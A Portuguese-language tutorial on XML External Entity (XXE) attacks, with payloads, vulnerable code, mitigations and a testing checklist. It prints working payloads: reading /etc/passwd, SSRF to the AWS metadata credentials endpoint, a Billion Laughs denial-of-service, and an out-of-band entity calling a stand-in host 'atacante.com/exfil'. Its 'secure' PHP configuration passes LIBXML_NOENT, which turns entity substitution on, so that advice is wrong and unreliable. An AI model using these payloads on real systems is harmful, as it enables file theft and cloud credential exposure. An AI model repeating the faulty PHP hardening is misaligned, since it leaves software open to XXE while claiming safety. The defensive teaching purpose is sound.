XML External Entity (XXE) attacks
1. O que são Ataques XXE?
Ataques de XML External Entity (XXE) exploram vulnerabilidades em parsers XML que processam entidades externas definidas no Document Type Definition (DTD). Quando um parser XML mal configurado encontra uma referência a uma entidade externa, ele tenta resolver essa referência, podendo acessar arquivos locais, realizar requisições de rede ou executar outras ações não autorizadas.
O funcionamento básico envolve a definição de entidades no DTD que apontam para recursos externos usando as palavras-chave SYSTEM ou PUBLIC. Existem três tipos principais de XXE:
- In-band XXE: O atacante recebe diretamente a resposta do servidor contendo os dados extraídos.
- Out-of-band (blind) XXE: O atacante não vê a resposta direta e precisa usar canais laterais (como DNS ou HTTP) para exfiltrar dados.
- Error-based XXE: O atacante força o parser a gerar mensagens de erro que contêm informações sensíveis.
2. Cenários de Ataque Comuns
Leitura de Arquivos Locais
O cenário mais comum é a leitura de arquivos do sistema. Um payload típico pode extrair o arquivo de senhas do Linux:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
Exploração de SSRF via XXE
O atacante pode usar o parser XML para realizar requisições a serviços internos, como o metadata service de cloud providers:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
Negação de Serviço (Billion Laughs Attack)
Entidades recursivas podem consumir recursos do servidor:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
3. Impactos na Segurança da Aplicação
Os impactos de um ataque XXE bem-sucedido podem ser devastadores:
- Exposição de dados sensíveis: Credenciais de banco de dados, chaves de API, tokens de autenticação e dados de usuários armazenados em arquivos de configuração.
- Comprometimento de servidores internos: O atacante pode realizar port scanning em redes internas, interagir com serviços de metadados de cloud (AWS, Azure, GCP) e acessar sistemas que não deveriam estar expostos.
- Execução remota de código: Em configurações específicas (como PHP com wrappers
expectouphp://input), o XXE pode evoluir para RCE.
4. Exemplos Práticos de Exploração
Código Vulnerável em Python
import xml.etree.ElementTree as ET
xml_data = """<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>"""
tree = ET.fromstring(xml_data)
print(tree.text)
Código Vulnerável em Java
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlData)));
Payload de Leitura de Arquivo
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
Payload de SSRF para AWS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY aws SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<data>&aws;</data>
5. Estratégias de Prevenção e Mitigação
Desabilitar Entidades Externas e DTDs
A medida mais eficaz é desabilitar completamente o processamento de DTDs e entidades externas no parser XML.
Configuração Segura em Python
from defusedxml import ElementTree as safe_ET
# A biblioteca defusedxml automaticamente bloqueia entidades externas
tree = safe_ET.fromstring(xml_data)
Configuração Segura em Java
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Configuração Segura em PHP
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($xmlData, 'SimpleXMLElement', LIBXML_NOENT);
6. Alternativas Seguras ao Processamento de XML
Uso de JSON
JSON não suporta entidades externas, tornando-o inerentemente mais seguro para transferência de dados estruturados. Sempre que possível, prefira JSON sobre XML.
Implementação de Parsers Seguros
- Python: Use
defusedxmlem vez dexml.etree.ElementTreepadrão. - Java: Configure explicitamente as features de segurança no
DocumentBuilderFactory. - .NET: Defina
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
Listas de Permissão para Fontes XML
Se o processamento de XML for inevitável, restrinja as fontes de dados XML a origens confiáveis e valide o schema antes do parsing.
7. Testes e Detecção de Vulnerabilidades XXE
Ferramentas de Análise Estática (SAST)
- Bandit (Python): Detecta uso de parsers XML inseguros.
- FindSecBugs (Java): Identifica configurações inseguras de DocumentBuilderFactory.
- Semgrep: Permite criar regras personalizadas para detectar padrões vulneráveis.
Testes Dinâmicos (DAST)
Utilize payloads de XXE básicos e cegos em campos de entrada que processam XML:
<!-- Teste básico -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY test "XXE_TEST">
]>
<root>&test;</root>
<!-- Teste cego com out-of-band -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://atacante.com/exfil">
%xxe;
]>
<root>test</root>
Monitoramento de Logs
Configure alertas para requisições externas inesperadas originadas de parsers XML, especialmente para endereços IP internos ou URLs suspeitas.
8. Boas Práticas e Checklist de Segurança
- [ ] Revisar todas as bibliotecas de processamento XML no projeto e garantir que estejam configuradas para desabilitar DTDs e entidades externas.
- [ ] Aplicar o princípio do menor privilégio: o processo de parsing XML deve rodar com permissões mínimas (sem acesso a arquivos sensíveis ou rede).
- [ ] Manter dependências atualizadas: versões antigas de bibliotecas XML (como libxml2) podem conter vulnerabilidades conhecidas.
- [ ] Implementar validação de schema (XSD) antes do parsing para rejeitar XMLs malformados ou com estruturas inesperadas.
- [ ] Realizar testes de penetração regulares focados em XXE, especialmente em endpoints que aceitam upload de arquivos XML.
- [ ] Usar ferramentas de SAST na pipeline de CI/CD para detectar automaticamente configurações inseguras de parsers XML.
- [ ] Documentar e treinar a equipe de desenvolvimento sobre os riscos de XXE e as práticas seguras de parsing XML.
- [ ] Em ambientes cloud, restringir o acesso ao metadata service (IMDS) usando firewalls de rede ou tokens de sessão.
Referências
- OWASP XXE Prevention Cheat Sheet — Guia completo da OWASP sobre prevenção de ataques XXE, com exemplos de configuração segura para diversas linguagens.
- PortSwigger Web Security Academy: XXE Attacks — Tutorial interativo do PortSwigger com laboratórios práticos para aprender a explorar e mitigar XXE.
- CWE-611: Improper Restriction of XML External Entity Reference — Descrição oficial da vulnerabilidade no Common Weakness Enumeration, com referências a CVEs relacionadas.
- Python defusedxml Documentation — Documentação oficial da biblioteca defusedxml, a alternativa segura para processamento de XML em Python.
- NIST National Vulnerability Database - XXE — Base de dados do NIST com CVEs relacionadas a vulnerabilidades XXE em diversas bibliotecas e frameworks.